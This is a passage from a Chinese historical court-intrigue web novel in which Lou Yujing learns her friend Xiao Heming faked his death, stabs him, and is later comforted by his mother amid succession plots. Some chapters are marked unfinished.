“师父,你很瘆人。”楼玉京幽幽道。 楼悯弦抬脚走出阴影,朝她站着的阳光下逆光而去。 他没有解释给出的名册中为什么谢允已是死人,也没有告诉她自己去找过他,只是说:“你最近不挑食了?” 很寻常的一句话,像是他们没有站在对立面,没有说暂时不见,也没有那串佛珠和封锁地道。 像是初见时楼悯弦颇为嫌弃地说:“你很瘦,你爹娘不许你吃饭吗?” “不挑了。”楼玉京说。 有白问引这个大厨在,不爱吃的全都突然变好吃了,哪里还能挑。 “世子比我会照顾人。”楼悯弦平静地说,“见了谢允,做好决定了吗?” 楼玉京低着头盯着影子看,片刻后,声音沉闷:“我的选择不变。” 她还是选了三皇子,楼韫是要跟她回家的,他也不愿意做皇帝。 楼悯弦像是意外,又像是了然。 “玉京,我们总是在选一个相悖的选项。” “所以师父力挺谢衍知之后,又想把阿韫送上去?你知道阿韫不会愿意。” “我昨天问他想不想做皇帝,他的确说不想。” 楼玉京一脸的你看我就知道,接下来楼悯弦却说:“然后阿韫说,如果不做皇帝,就容易成为你的软肋,所以他还是选择成为皇帝。” 楼玉京愣住,她知道楼韫心思单纯,也知道他确实会护着他,可在她眼里他还是个需要接受庇护的养子。只是没想到他成长会这么快,也没想到为了不让她处处受限,他心甘情愿以身入局,成为自己最不想成为的人。 “玉京,我且问你,如果阿韫想做皇帝,你会放弃三皇子,与我一起扶持他么?” “不会。” 斩钉截铁。 楼韫这个帝王不是真心先做,是为了她不得不做,所以她还是不会选择他,终归是要带他回家,回江南重新把春歇楼的门打开,做回平淡的市井小民。 “就算举步维艰,如饮鸩止渴?” “就算举步维艰,饮鸩止渴。师父,你知道我不会为了自己的选择后悔。这串佛珠,我该还你的。” 她取下了手上的佛珠,郑重地交还给他,谢衍知不是她的威胁,这串佛珠用不上的。 况且她半生在向楼悯弦索取,从未还给过他任何东西,或虚或实,或金银或其他。什么都没有,楼悯弦也从来不开口跟她要些什么,哪怕一句谢谢。 佛珠还给他就算是还了一份恩情,以前欠下的,等到她抽身离去,真正成为了那个普通的楼老板,她会想办法全部还给他。 楼悯弦没有让她举着手太久,累得慌,很快就接过去了。反正没有这串佛珠,只要他活着,又怎么会真的不管她? “玉京,我们还是走到这一步了。” 走到分清彼此,开始还恩的地步,距离渐行渐远也不远了。 “师父,如果我们都还活着,你永远是我的师父。” 当初他说你永远是我的徒弟,如今身份倒转,成了她说你永远是我的师父。 “好。” 楼悯弦说。 21.路远莫致之 楼玉京见谢允那晚白问引去过,只是停留在门外不曾进去打扰,又因为三楼能上去的人不多,所以没几个人知道他在门外站过。 房间内连窗都关着,只点了一盏油灯,谢允已经老了很多,霜发鬓白,满目沧桑,为了躲避追捕,当年他不惜亲手剜了一只眼,毁了半张脸。 镇国公与白尧叙坐在他身侧,楼玉京在他对面,谢允没那叙旧的心思,只开口问了楼玉京三个问题,其一她的出生年月,具体时分;其二她父母死前是否有留什么东西。 最后谢允盯着她的眼睛,声音沉雄厚沉闷,问:“你兄长叫什么?” 她的……兄长。 这是连楼悯弦都不知道的事,楼玉京羽睫震颤,可想而知当年他与父母的情谊究竟多么深厚。 缓了片刻,楼玉京一字一顿地道:“元初三十九年酉时三刻双生,我兄长出生一刻因体弱横死,没有名字。爹娘死前留有匕首,刻字松月,是我兄长的小名。” 本名还没来得及取,就死在出生之后,楼氏夫妇将他埋葬,墓碑只刻了松月二字,楼玉京曾站在他墓前轻声喊他:“楼松月。” 鹤语松上月,花明云里春。 是以她兄妹二人一病死一体弱。 楼玉京自袖口取出匕首递去,这柄匕首打造用了上好的玄铁,刀柄刻着松月不假,尾部还有一颗宝石,是曾经的无上皇所赐,黑中带红,红里透黑。 这是比松月两个字更能证明身份的东西,谢允明显松下肩颈,酝酿片刻才和缓地说:“你来见我,是为你爹娘的仇还是别的什么?” 楼玉京收回匕首,也不拐弯抹角,坦言道:“我爹娘的仇只是其一,何况二皇子已死三皇子刚刚驾鹤西去,现下要做的是把谢衍知从龙椅上拉下来。” “为什么?”谢允问她,“谢衍知不是二皇子的后代,他是三皇子所出,既然二皇子身死,什么都没有留下,谢衍知也不曾得罪你。登基当天大赦天下减免赋税,百姓都跟着叫好,玉京,我想知道为什么。” “每一任皇帝登基之后都会大赦天下减税一年,这不谢衍知的优点,至于我为什么要谢衍知倒台,谢叔,谢衍知真的是先帝的儿子吗?” 谢允呼吸陡然变沉,白尧叙原本摩挲扳指的手亦顿住,抬眼朝着她看去,镇国公见她不似作伪,便开口问:“玉京,你如何知道谢衍知是二皇子还是三皇子的后裔?” “谢衍知少时与我见过几次,我依稀记得他的后颈有一块胎记,他生母之事无从查起,只是我在楼太傅的书房见过一本册子,记载先二皇子妃的后颈也有一块胎记,三皇子妃没有。” 白尧叙说:“单凭这本册子也只能是猜测,假设这是楼悯弦有意为之,想借你的手要谢衍知的命,也不是没有可能。” “所以我借了世子殿下身边的吝筱,让他去宫里查问,在我们动身来到万兴楼之前吝筱回来了。”楼玉京说着从怀里取出一本崭新的册子,宫内之物就算再老旧也会有人定期检查,不便带出,吝筱照着抄了一份。 “这里是记录了几位皇子从出生到死亡的载录,其中大皇子早夭,四皇子溺毙,五皇子为死胎。记录最多当属二皇子和三皇子,而三皇子身上干干净净,二皇子后腰有一块胎记。三皇子妃是当时许家的三小姐,二皇子妃记录失踪。” 楼玉京翻了一页,接着说:“谢衍知在冷宫待了七年,生母不详,宫女册亦无记载,若非有心去查,谁会在意一个宫女的死活?” 若真真有这么巧,要么是有人做了手脚,剔除二皇子妃的记录,要么是二皇子强迫宫女生下谢衍知,无名无份不得记录。三皇子即位后,宫内妃嫔个个绝色,又身世显赫,他的确犯不着去欺辱一个宫女。 谢允默然,一盏油灯燃了许久,火苗从一开始的颤颤巍巍到最后平稳落下,将将油尽灯枯。 “你打算扶持谁?” “三皇子,或者说现在的三王爷,谢衍荀。” “……” 晨曦微凉,露水散在空气里,这个点在外头行走容易湿了衣裳,半干不干黏黏糊糊,十分难受。楼玉京回到巷口翻墙进去,先是沐浴,再是睡到晌午。 白问引备好午膳,让吝筱将最后一道菜送去前厅,自己去了楼玉京的院子喊人,楼玉京睡的迷迷糊糊听到有人喊,不耐地说:“要死啊喊那么大声!” 起床气还挺大。 不过骂完也就清醒了,楼玉京顶着个鸡窝头坐在床上,身上只穿了亵衣,慢慢悠悠地穿上中衣,白问引这个杀千刀的推门进来了,楼玉京一个枕头丢过去:“我让你进来了吗!” 白问引结结实实挨了一枕头:“……” “楼老板,你是打算谋杀我吗?” 楼玉京趁他拿枕头的间隙快速穿上外衣,废话,她不丢枕头,等他看过来一件中衣怎么可能挡得住?就算她从小束胸也不可能真的一点看不出来,等白问引拿着枕头到她床边的时候,她已经整理好自己站起来了。 “哦哦,手滑了。”楼玉京秉持着只要我脸皮厚你就别想开罪于我,然后转移话题:“世子来找我可有要事?” “吃饭。” 楼玉京:“……” 吃饭是要事吗? 虽然心中不满,但她没有表现出来,只是随口敷衍:“知道了,走吧。” 白问引没动,楼玉京皱眉抬眼看他,见他盯着自己身后沉默,顺着他的视线望去。 楼玉京:“……” 楼玉京:“!!!” 那是她今早沐浴之后在床边晾着还没来得及藏好的肚兜! 楼玉京指尖微颤,但很快她就冷静下来,看着白问引郑重其事地说:“看什么看,不许我为心爱的姑娘买肚兜吗?” 白问引盯着她看了片刻,然后移开视线,说:“那楼老板还是尽早去提亲罢,否则传出去对人家姑娘名声不好。” “你不说我不说谁会知道,还是世子就是个大嘴巴?” “我不是。” “那不就成了。” 也不知是不是因为尴尬,自那日起白问引除了要事以外再没有不经允许就进她的院子,与她独处时也变得拘谨了些。 月夕将至院中的桂花树都开始落花,香飘四溢。 白问引刚进门就瞅见楼玉京攀着树,往上用了巧劲折下一支桂花,小心翼翼地护着跳下来,白问引站在原地没有动,等她走近了才缓缓开口问:“想吃桂花糕?我给你做。” “不是,我有别的用处。” 楼玉京不欲多说,随意找了个瓶子插花,又拿起布包转身去摘桂花,她摘的不多,很快就回屋里取了纸笔砚台。 清水和着桂花在砚台上转着研墨,墨汁晕在纸上染了桂花香,楼玉京又在那枝丫摘了几朵桂花用砚台在纸上压去,花汁粘着桂花遗留在纸上,楼玉京终于提笔了。 大抵是他人在,所以她只写了见信如晤便不再往下写。她就是这样的人,在心里说着厌恶却在意的人,就不会把软话明晃晃说出口,无论是对本人还是对他人。 白问引目光沉沉,他知道这封信是给谁了,月夕将至,能让她上心又必须寄信的人,不就只有萧鹤明了吗?毕竟她都自称是他的未亡人了。 白问引不是没眼力见的人,嘱咐几句,让她晚上早点出来吃饭便离开,将空间留给她。 楼玉京提笔写完了两封信塞进袖口,夜里用 了晚膳便早早回自己的院里,白问引在她走后跟上,停留在她院子的屋顶,他看她找来一个盆子烧纸,絮絮叨叨一面是与爹娘说,一面是与萧鹤明说。 最后她才从袖中取出两封信,一封是给她爹娘,另一封也就是今早白问引看到的,给萧鹤明。袖口留有桂花香与纸墨味。 攀条折其荣,将以遗所思。他隐没在屋顶,看着她在黑夜中烧了那封信,忽然想。 此物何足贵,但感别经时。纸张化作灰烬,楼玉京悠悠说,今年的月夕我不再是与楼韫一起过,也不会是一个人过。爹,娘,我现在过的很好。 断断续续,白问引也没听清多少,只看她灭了火回房,白问引纵身一跃跳到后巷,沈为平已经在等着他了。 “我以为世子翻墙的时候摔断了腿,这么久才出来。” “少欠,你们那日商议如何,压的楼韫还是谢衍荀?” 沈为平笑眯眯地问:“那你可要先告诉我你压谁,万一我们相反,我好趁机打死你,少一个对手。” 白问引凉凉道:“你觉得这里就我们俩,真动起手来是谁打死谁?” 沈为平不满轻嗤:“一点玩笑都开不起,行了,你知道楼玉京不会压楼韫,我爹说了,人家要回江南过自己的日子。” “我道她会选楼韫,既如此,我们便是全力配合她,扶谢衍荀上位,楼韫……他想来也是不愿意被这张龙椅吃了。” “真要傻子做皇帝?谢衍荀这么好控制,干脆叫李明德自己做皇帝算了,江山易主。” 白问引说:“楼悯弦是神医,三皇子那点症状没准他能治。” “人家要是愿意治早给治好了,还等你求他?何况他想要的可不仅是楼韫上位,照他那个指导方法,怕是想要第二个无上皇。” “他想要第二个无上皇,朝堂上这么多老狐狸,怎么可能答应,除非李明德能帮他劝动半数以上的人。” “我倒觉得他乐意,他都有了一个太后女儿了,再出一个皇后女儿,天下岂不完全被他攥在手里?” 白问引嗤笑一声,说:“他肯嫁女儿,楼韫未必肯娶。” “你确实很了解楼韫啊,毕竟当初你也是利用了他的心思才成功男扮女装嫁进楼府,我真的很好奇啊萧鹤明,你脸皮怎么这么厚的,在自己死对头面前喊人家公爹,也不害臊。” 沈为平说完,话锋一转,“不过话又说回来,将来身份败露,你打算怎么圆回去?你不可能这辈子都弃了萧鹤明这个名字,何况除了我,你爹娘,还有少数几人知道白问引就是萧鹤明,就算对外瞒着,那对楼玉京呢?你也要瞒着她一辈子,看着她时不时给你烧纸?” “再者说,萧鹤明生前要给皇室进贡,毕竟身份是商人,又是先帝身边曾经的红人,突然死而复生又变成了王世子,曾经不少人私下看不上你,萧鹤明,你要吓死谁啊?” 白问引确实还没想过怎么给楼玉京交代,毕竟她对自己的朋友情分是真的,突然告诉她自己没死,还在她身边把她耍的团团转,他大概是连朋友都不用再和她做了。只是倏然想起楼韫瞒着她,便又笑了起来,说:“不知道啊,如果她能解气,捅我一刀真的要我的命,再每年给我上坟也挺好。” 黑暗里,楼玉京原先打算去看看楼韫,就翻墙到了后巷,听到有人说话便停下脚步,打算看看是谁,不想看到的却是沈为平与白问引。 本想着这两人算自己人,就打算离开了,只是忽然听沈为平说,我很好奇啊萧鹤明。 就这一句让楼玉京在原地听了很久,起初她甚至以为是自己听错了,直到确认了他是在和白问引闲聊,确认了沈为平在喊他—— 萧鹤明。 22.灯火阑珊处(待补待修改) 月夕总是张灯结彩人山人海,一家又一家点着红灯笼传出欢声笑语,楼玉京站在街中,看盛世太平,慕男欢女爱,仰头是圆月倾洒月光,燃起烛火叫整个黑夜如白昼那般天光大亮。 白问引就在桥的另一边,在一个摊子前低头挑选玉石,他侧脸仍然叫人恍惚,只是已知真相,楼玉京心底有的居然不是欣喜与万幸,是一丝厌恶,骗她多时,不愿告知,把她当猴子一样耍,她厌恶极了。 恰此时白问引转头,似是也想看看这热闹非凡的夜里,却与楼玉京撞了视线,火花四溅,一个倾慕一个憎恶。白问引心头一颤,也该明白的。 楼玉京转身入了深巷,白问引躲着人群频频张望,寸步不停地往前追去。到了巷口他却停了,一如当初对待宋则安那样不敢。 她站在巷口看了他很久,等到他自己在内心斗争,再主动走向她,与她走进黑灯瞎火的深巷里。 白问引站在她跟前没有说话,只怕是他一开口,楼玉京就劈头盖脸地一顿嘲讽。 “世子之前不是问我是不是断袖么?”楼玉京见他不语,笑得眼泪都出来了,一字一句推翻自己先前的否认,对他说我是。 她说她是断袖。 “我不仅是断袖,我还喜欢萧鹤明,世子聪明绝顶,猜到过吗?” 上空烟花绽放,月夕的欢声笑语在耳边萦绕,烟火照得深巷都光亮了,看清对方的容颜。 萧鹤明瞳孔骤缩,浑身颤抖。楼玉京……喜欢他,一切都有迹可循。从他死后的异常不难猜出在萧鹤明死前她就喜欢上他了。 是几年前两人一起烹酒煮茶的时候吗?或许是的,月下花前迷人眼,醉眼朦胧的时候看谁都有西施之美,貌若潘安。 “萧鹤明,我竟不知原来我这样好骗。” 眼泪落下,清风徐来,烛火明灭。 “看着我给你烧纸,给你写信,给你上贡,你很开心是不是?你把我当狗耍很有成就感是不是?萧鹤明你到底把我当什么了!”楼玉京声音嘶哑,袖中寒光凛冽一闪而逝,然后是利刃扎入皮肉的声音,鲜血淋漓,喷涌流下。 萧鹤明低头看向自己的心口,那里扎着一柄匕首,楼玉京攥着刀柄的手骨节泛白,微微颤抖,却没有留情。< /p>萧鹤明从来没有见过楼玉京这么崩溃的样子,在他人看来从来没有什么事能让楼玉京崩溃,哪怕是得知父母之死的真相,哪怕是知道前路艰辛,也咬着牙吞下去撑下去了,偏偏到了萧鹤明,叫她崩溃至此。 萧鹤明闭上眼,叹了口气,疼痛在此刻像是消失了,又像是从未感受到,脑子里剩了四个字,是他活该。 楼玉京猛然将匕首拔了出来,刺啦一声,萧鹤明捂着心口闷哼,而后踉跄着后退两步,扶着墙滑坐下去,粗喘着说:“对不起。” 楼玉京手上沾着血,抖得更厉害了,眼神还是冷的。她忽然想起前几夜他和沈为平提到了楼韫,也就是说,楼韫也知道。楼韫直到,但他也从来没有告诉她,连楼韫都瞒着她。 楼玉京忽然觉得自己像个荒唐的笑话,自己养了十年的儿子联合自己爱过的人欺骗自己,甚至她真的上当,真的信了他们。 她转身离开黑暗,走入巷外的白昼里,在人海之中彻底消失。 至于萧鹤明,后来他自己扶着墙一步一步地往外走,倒在了巷口,被好心人送去看郎中。 23.悠悠慈母心 天气转冷,楼玉京不爱出门的毛病又犯了,普通的降温都像把寒风往她骨头里吹,楼玉京拢了拢被子。 这半个月来萧鹤明极少找她,但每日却会雷打不动地给她送一碗热汤,以作歉意,不知道的还以为堂堂世子在讨好一个市井小民,叫人笑话。 寒露那日地面结了霜,楼玉京实在觉着冷,便和衣半靠在榻上发呆。她已经连续七日足不出户了,炭火烧的噼啪作响。 她自知萧鹤明受伤的事不可能瞒得住白尧叙和宋则安,毕竟他昏迷了,治疗的银子还得找人要。加上他腰间别的那块玉佩明晃晃刻着一个琼字,不会有人看不出他来自琼景王府。 当天她走后不久,萧鹤明被几个壮汉送去医馆,不消片刻,学徒拿着玉佩去了一趟王府,很快宋则安就带着银两到了。 瞧他伤得这么重,宋则安便追问郎中发生了什么,郎中不在现场,不是很清楚,只说有人看见他心口被捅了个窟窿躺在路边,才把人送来。在场的有人说巷口先是走了一个男人,后来世子才捂着伤口走出倒下。 宋则安心下一沉,还以为是他哪个仇人,可转念一想,萧鹤明身手了得,几乎没几个人能伤到他,楼悯弦不会这么闲。思来想去,就剩下一个人了。 她又很快打消了念头,楼玉京没有必要这么做,把唯一剩下的排出,她当前想不到第三个人,只好坐在一旁等他醒来再追问,这一等就是一天一夜。 等到萧鹤明苏醒,精神了些宋则安才开口问他,萧鹤明沉默了一会,方才解释,推翻了她先前认为的没必要。 的确……是楼玉京。 这不,今日宋则安趁着闲暇之余来了一趟,大抵是白尧叙与她说了她的身份,以至于她能从容地坐在一个“外男”的榻边。 宋则安不像是问罪的样子,她浅笑着,声音柔柔,却是有劲的。对待小辈一般揉她发顶,轻声问她:“玉京在屋里呆了这般久,可考虑清楚了,对往后的相处是如何想的?” 她知道了那些事,知道她伤了萧鹤明,也知道她是什么心思了。可她不问罪,不怨她,反倒问起了她的感受。 “王妃不怪我?”楼玉京虽怔愣片刻,却也知道宋则安多么怜惜这位挚友遗孤,言语间就带了几分警惕。 宋则安倒是不在意,依旧温柔地说:“起先自然是怪你的,毕竟先前你们是挚友,又在联手布局,但凡不是深仇大恨都不至于走到这一步。只是后来鹤明解释清楚了,是他骗你在先,是他愚弄你的感情。如此我便没有怪你的理由了。” 闻言楼玉京方才松下,趴在榻上双手撑着腮,一双眼眸滴溜溜地转,问她。 “那么王妃是来替他求情的么?” “并非如此,我只想看看你,又听说楼韫也瞒了你,作为一个母亲来说,你不会不心痛。” “王妃多虑了,我不会因为这种事情想不开。” 宋则安也不反驳,顺着她的话说:“是的,我知道你很坚强,但对我这个上了年纪的人来说,你还算是孩子,情绪该发泄出来。” 楼玉京仍是望着她,从她的视角看去,宋则安逆着光像一位母亲关爱自己的孩子。她久违地感受到母爱,如沐阳光般照得身上很暖,被冻住的血似乎也开始流动了。 从她成长以后,宋则安是第一个把她当成孩子看待的人。连楼悯弦都与她讲不合适。 宋则安眉眼弯弯,见她有些愣神,就柔声问她:“玉京是不是又想母亲了?” 楼玉京的呼吸陡然变轻了,这句话她的母亲孟虞频也对她说过,那是很久很久以前,无上皇在世时。父亲楼叙接旨,携母亲坚守塞外,攻打匈奴,力保江山。 他们短暂地成为了楼将军与孟将军,忍着不舍离家,是为大义。 那日天未亮两人便走了,五岁的楼玉京一觉醒来不在母亲的怀里,她怔愣地看着窗外,以为母亲只是有事出门了,她还十分高兴自己今日可以轻松一些,不用看那些无聊的文书。 可是一天两天,七日十五日过去,母亲没有回来,父亲也不在府中,尚且年幼的女孩第一次感受到了惊恐。在她的印象里父母不是没有出过远门,可他们一般七日就能回家,半个月没回来,还是第一次。 深夜楼玉京在梦中惊醒,哭声引来几个侍女,她们慌乱地抱住了她,听她一个劲喊娘,她们无法告诉一个孩子半年有多久,只能叹息着说,两位将军很快就会回来的。楼玉京泪眼朦胧,擦着泪仰头看着说话的侍女,她认得她,是阿娘身边的宁玉。 楼玉京哭着喊:“宁玉姐姐,阿娘和阿爹真的很快就会回来吗?” 宁玉点点头,安抚道:“会的,孟将军和楼将军战无不胜,他们会回来的。” 战无不胜也会有百密一疏的时候,这份保证多少掺了水,只是宁玉不敢说,也不能说。 宁玉朝身后人使了个眼色,很快后院的膳房点了灯,厨子做了楼玉京喜爱的糕点让侍女送来。毕竟是孩子,见了糕点,很快她就不再哭了,拿了两块就让人端走。 阿娘和她说过,点心吃多了会牙疼,可是阿娘还会纵着她吃,说牙疼也没关系,阿娘带你去看郎中。 楼玉京心想,阿娘不在,没有人带她去看郎中,那她今日就不能多吃糕点了,等她回来,她再多吃一些。 宁玉见她如此,转身掩住发红的眼眶,大小姐从出生起她就在身边服侍了,她把她当妹妹看待,怎么会不心疼呢。 接下来的日子里楼玉京每日都在窗前摆一块石子,她记性不太好,总记不住还要等多久,就每日都问宁玉,宁玉站在她身侧看着她摆石头,也不嫌烦,认真地说,就快了,等到石头摆满窗,两位将军就回来了。 半年之后是楼玉京的六岁生辰,宁玉忧心忡忡地站在窗台前望着圆月,身后是楼玉京躺在榻上梦呓,喊着爹娘。 所幸捷报传回,说楼将军与孟将军击退匈奴,大获全胜,死伤控制在最小范围。喜报都来不及传回皇宫,两人换了轻衣踏月而归,他们从来不会缺席楼玉京的任何一个生日,辛苦一点也没关系,总要及时回家。 翌日副将带兵进城,身后浩浩荡荡一片欢声笑语,百姓们站在街边欢呼迎接。 楼叙进宫复命,孟虞频则先回府去陪楼玉京。奔波一夜,衣服都来不及换,孟虞频刚刚进门就迎面撞上了自家闺女。楼玉京跑的很快,宁玉在身后追,喊着叫她慢点,小心点。楼玉京哭着抱住她的腿,眼泪浸湿一片布料,孟虞频只觉得心疼,忙抱起她。 “阿娘,你又偷偷离开我……”楼玉京声音带着哭腔,一双水润的美眸含着控诉,仿佛在说,你每次走都不告诉我,让我在梦里等你回家。 孟虞频揉揉她的发顶,安抚地说:“是阿娘的错,方才跑这么急,玉京是不是又想阿娘了?” 楼玉京重重点头,嗯了一声,“娘,你下次走的时候要告诉我,你不要再走这么久了。” 孟虞频笑着答应了她,吩咐宁玉去准备楼玉京的 生辰宴。之后便是楼叙带着宫里的赏赐进门,五大三粗的男人朗声大笑,“闺女,爹也回家了!” 楼玉京乖巧地喊:“爹。” “哎!看这是什么?”楼叙从怀中取出一个布包,里头是一支很漂亮的簪子,“这是陛下赏赐的生辰礼。”说完他又取出一根红绳戴在她手腕上,笑说:“这是爹娘亲手做的,不许嫌丑。” 楼玉京珍重地抚摸着红绳,在孟虞频脸颊亲了一口,说谢谢爹娘。随后见一直有人抬箱子进门,就好奇地往门外看。 那时候她不知道这些东西是用什么作为代价换的,只记得人和箱子如同流水一样进了自己家,源源不断,看不见尽头。 她甚至内心有些自豪地想:原来我家这么有钱,那她的月例是不是该涨涨了。 思绪回笼,耳边似乎又听见阿娘在喊她玉京。眼神聚焦却看见宋则安担忧地看她,唇齿张合,轻声说:“玉京。” 原来是王妃在喊她啊,楼玉京扯了扯唇,微微摇头示意自己没事。只是心想,果然是幻觉,阿娘死了这么久,连托梦都不肯,又怎么会突然活过来喊她? 宋则安打心底心疼她,见她这般,心中更是酸涩,也明白是方才那句话勾起她的回忆了。她忽然握住她冰凉的手,源源不断的热意涌来,楼玉京僵住了,下意识抽离。 宋则安没有强求,窗边飞鸟掠过,带过的风吹得花草晃动。她依然是包容的,对楼玉京说:“如果你不嫌弃,也可以喊我一声娘。” 楼玉京怔怔地望着她,张口欲说些什么,可是喉咙干涩,喉头哽住,一个音都发不出来。宋则安从袖口取出一只漂亮的玉镯,套到了楼玉京的手腕上,接着说:“我会待你如我亲女儿。” 楼玉京垂眸,眼睫颤动,手指摩挲着这只玉镯。 “如果玉京你还喜欢着他,就走得慢些,教他追上你罢。” 这个他是谁,两人都心知肚明。楼玉京半生脚步都没有停过慢过,无论是对楼悯弦还是楼韫,她真的要等他吗?明明都觉得恶心了,还是要等他吗? 宋则安看出她内心的争斗,叹道:“玉京,你并不欠他,也不欠你自己。倘若因为鹤明骗了你,你心里过不去,那就不过去。你并不是必须要原谅他,也并非一定要原谅谁,最后委屈自己换表面和平。” 事实如此,谁都没有必须原谅一个人的义务,既然过不去,便不过去,为什么非要因为过一道坎而去伤害自己,委屈自己? 思及此,楼玉京朝她露出一个轻松的笑,她笑起来太漂亮了,就像她做事一样漂亮,宋则安不自觉看了许久。楼玉京就握住她的手,调侃道:“阿娘,我很好看吗?怎么看了这么久?” 宋则安像是惊喜于她接受得这么快,甚至已经开始喊她阿娘了,激动到有些语无伦次地应声:“哎——好孩子……玉京,马上也快晌午了,你饿了吧,娘去给你煮碗面。” “谢谢娘。”还没等她说完,宋则安就快步离开了。 楼玉京在她走后便懒散地躺在榻上,她确实饿了,也很久没有尝过来自母亲的膳食,脑子里忽然想,其实等一等也挺好。 此刻的膳房不止宋则安到来,萧鹤明与她撞了个正着,前者被后者瞪了一眼,下意识后退让路,等人进去了才后知后觉反应过来。 萧鹤明问:“娘,你怎么来了?” 宋则安这会心情极好,一边切菜一边应声:“来给我亲闺女煮碗面。” 萧鹤明:“?” 24.当时明月在(等我补全) 元丰十九年,萧鹤明离开琼景王府,带着从小陪在自己身边的萧掌柜一路远下江南,途中偶遇一乞儿,见他可怜,便带在身边,乞儿没有名字,萧鹤明为他取名吝筱。 吝筱的手臂有旧伤,说是以前和其他乞儿打架伤了,没有钱买药。原本到了江南萧鹤明在街边看到一株接骨木,打算重金买下,肩膀却被一个男人按住了。 摊贩喊他楼老板,他皱了皱眉,还没来得及开口,这位楼老板先他一步付了钱,说自己儿子病了,萧鹤明不大想让出,不悦道:“我先来的,你儿子病了,这孩子也病了。” 楼玉京顺着他的视线看向了吝筱,注意到他有些别扭的手臂,犹豫片刻,这孩子手上的伤显然已经很久了,只是……楼韫如果再不用接骨木,手怕是要废掉。 “这位兄台,我儿子再不用接骨木手就要废 了,这位小兄弟还可以用金铁锁。” “金铁锁比接骨木难找的多。” 楼玉京焦急道:“那你可以往下走,下面也有医馆。” 萧鹤明分毫不让:“既然下面有,你为何要与我抢?” 楼玉京噎了一下,争执不下便要跑,毕竟钱已经给了,萧鹤明攥住他的肩头。楼玉京暴脾气上来,把接骨木放回去,当场与他打了起来。 25.人生不相见(待补) 皇子府,李芷华站在谢衍荀身后,对方裹了一件黑袍戴着麒麟面,半分容颜不露,声音经过处理显得狰狞沙哑,难听又刺耳。 李芷华盯了他半晌却不说话,等到对方终于不耐回首,威压席卷。 “李丞相让你带什么话?” 李芷华倒是不与他讲礼仪,反正他都已经被放弃了,便淡淡道:“那位回来了。” 谢衍荀顿了一下,犹疑地问她:“哪位?” 李芷华说:“皇太孙,你和陛下的堂亲。” “!!!” “别说是你现在没坐上龙椅,谢衍知将来也会被楼悯弦亲手拉下来。”李芷华没有去管谢衍荀的惊讶,只是以一种平淡的口吻告知他既定结局,叫人胆战心寒。 谢衍荀明显紧绷,没有接话。原先他装傻多年,是为有朝一日拉下谢衍知,只是不想传闻死去多年的皇太孙还活着,甚至已经回到京城,就连看似已经是赢家的谢衍知都被楼悯弦视为弃子。 “当年他不过三个月大,是谁养了他?”他此刻也顾不上其他,追问道,“谁给他们的胆子去养他!” 不过也好,谢衍荀想,是谁养的,他便以谁做威胁就是,反正不是父皇教导的孩子都容易被情感裹挟,最好控制。 李芷华似笑非笑,知他心中所想,嘲他异想天开,“楼太傅的徒弟,楼将军的孤女,三殿下您确定要和她打?” 言罢又道,“何况若是她知道当年两位将军的死和你脱不开干系,你觉得她是会继续扶持你,还是会亲手杀了你?” 不必用她再多身份,光是楼将军孤女这一点,其实也够了。 “你说什么?”谢衍荀讶异,毕竟楼玉京一向男装示人,几乎没有破绽,这么久以来他的确没有怀疑过她,甚至她带在身边的养子,恐怕就是这位皇太孙了,在他眼皮底下这么久,早知如此…… 李芷华凉凉地看着他,说道:“殿下,楼韫要是没了,他日楼玉京查到,三条人命,您承受不起这种报复。何况我也是才得知他是皇太孙,楼悯弦连楼玉京都瞒死了。” “楼悯弦没告诉她的还少么?就算我要死,也得让他们心里堵着,让楼玉京清楚楼悯弦从来就是个骗子,我死后谁也别想安生。” 真是条疯狗,李芷华伸手摁住他的肩,手腕发力将人按得单膝跪在地上,她语调平缓,却仍是让谢 衍荀觉得不寒而栗。 “三殿下,我尊你太久,你还真的觉得自己是主人?” 她一把打掉了他脸上的面具,露出那张将老未老的脸,三十多岁的年纪,心却像是十来岁那般天真,他身边已经没有几个是真正属于他的人了,野狗折了獠牙,便是想反咬主人也无济于事。 “谢衍荀,我不会对你客气,何况谁是皇帝我便是谁的皇后,别一副我背叛了你的样子,从始至终,我要的就只是凤椅和权力。我没有在谢衍知登基的时候就踹了你,去给他做皇后,只是因为我知道他这个位置坐不久,希望皇太孙登基那日你会识时务,尊称我一句皇后娘娘。” “李芷华,你倒是敢想,皇太孙有楼太傅,有楼玉京,不缺你李家的那点权势,他凭什么娶你——除了我会兑现承诺,不会再有其他皇子要你!” 李芷华笑了起来,袖中利刃破空而出。 “啊——!!!” 他的一只耳静静躺在地上,鲜血淋漓,落了满地。谢衍荀痛苦哀嚎,毫无形象地满地乱滚。 李芷华将匕首插在距离他侧颈几毫米的位置,冷冷地说,“谢衍荀,认清楚你的身份。” 26.广厦千万间(待补) 深夜,养心殿一片寂静,唯有烛火燃烧的噼啪声偶尔跳动。 谢衍知已经连着几日没有睡好,就在三天前他得知传言中他那本该死去的堂亲尚在人世,且人已经到了京城,在楼悯弦手下受教。 谢衍知翻来覆去不敢合眼,一闭眼脑子里就全是将来楼悯弦提剑对着自己的画面。他大概明白楼悯弦的意思了,他之于他,不过就是个弃子。当年楼悯弦如何对他他与先帝,如今便如何对楼韫与他。 他是下一个先帝,无可更改,楼悯弦当真半分情面都不留。 翌日他去了一趟太傅府,这会楼悯弦还在书房,听说他突然过来,便搁下笔,掸了掸衣袖,朝外走去。 谢衍知已经进来了,熟门熟路,走过无数次,所以就与刚开门的楼悯弦碰上面,楼悯弦垂眸作揖。 “陛下万安。” 这一次他没有再很快让他平身,垂着头看了他好一会,方才开口:“我不是来见你的,太傅,我来见见我的堂亲。” 他终于让他直起身,扯了扯唇似是自嘲,而后开门见山地道:“楼玉京的养子,楼韫是么?” 楼悯弦仍旧是神色如常,并没有因为谢衍知这番话慌神或愠怒,只是问他:“陛下如此挑明,就不怕死的更快吗?” 他既然来了,也提到楼韫,想来是清楚他的意思的。 谢衍知盯着他的双眸,看着他瞳孔里万千身影,唯独就是看不见自己,忽然他笑出声,开口时语气轻得近乎呢喃一般,又像是是释然。 “如果我为你的大业而死,太傅,你会不会多看我一眼?” 楼悯弦顿了一下,像是感到意外,毕竟他原先以为谢衍知是来与他达成某种平衡合作的,居然是甘愿赴死,只为了他一句认可吗? “你会吗?”谢衍知见他不说话,便追问他,“楼悯弦,你会吗?” 哪怕是过去的那么多年以来,他都恭敬地喊他太傅,就算是当初他为了楼玉京,为了朝华在暗室里伤了他,谢衍知都从未喊他楼悯弦。 楼悯弦看着眼前那仿若孩童渴求一句表扬的年轻帝王,还是没有给他半分希望。 他说:“我不会。” 耳边似乎什么都不再听得见。 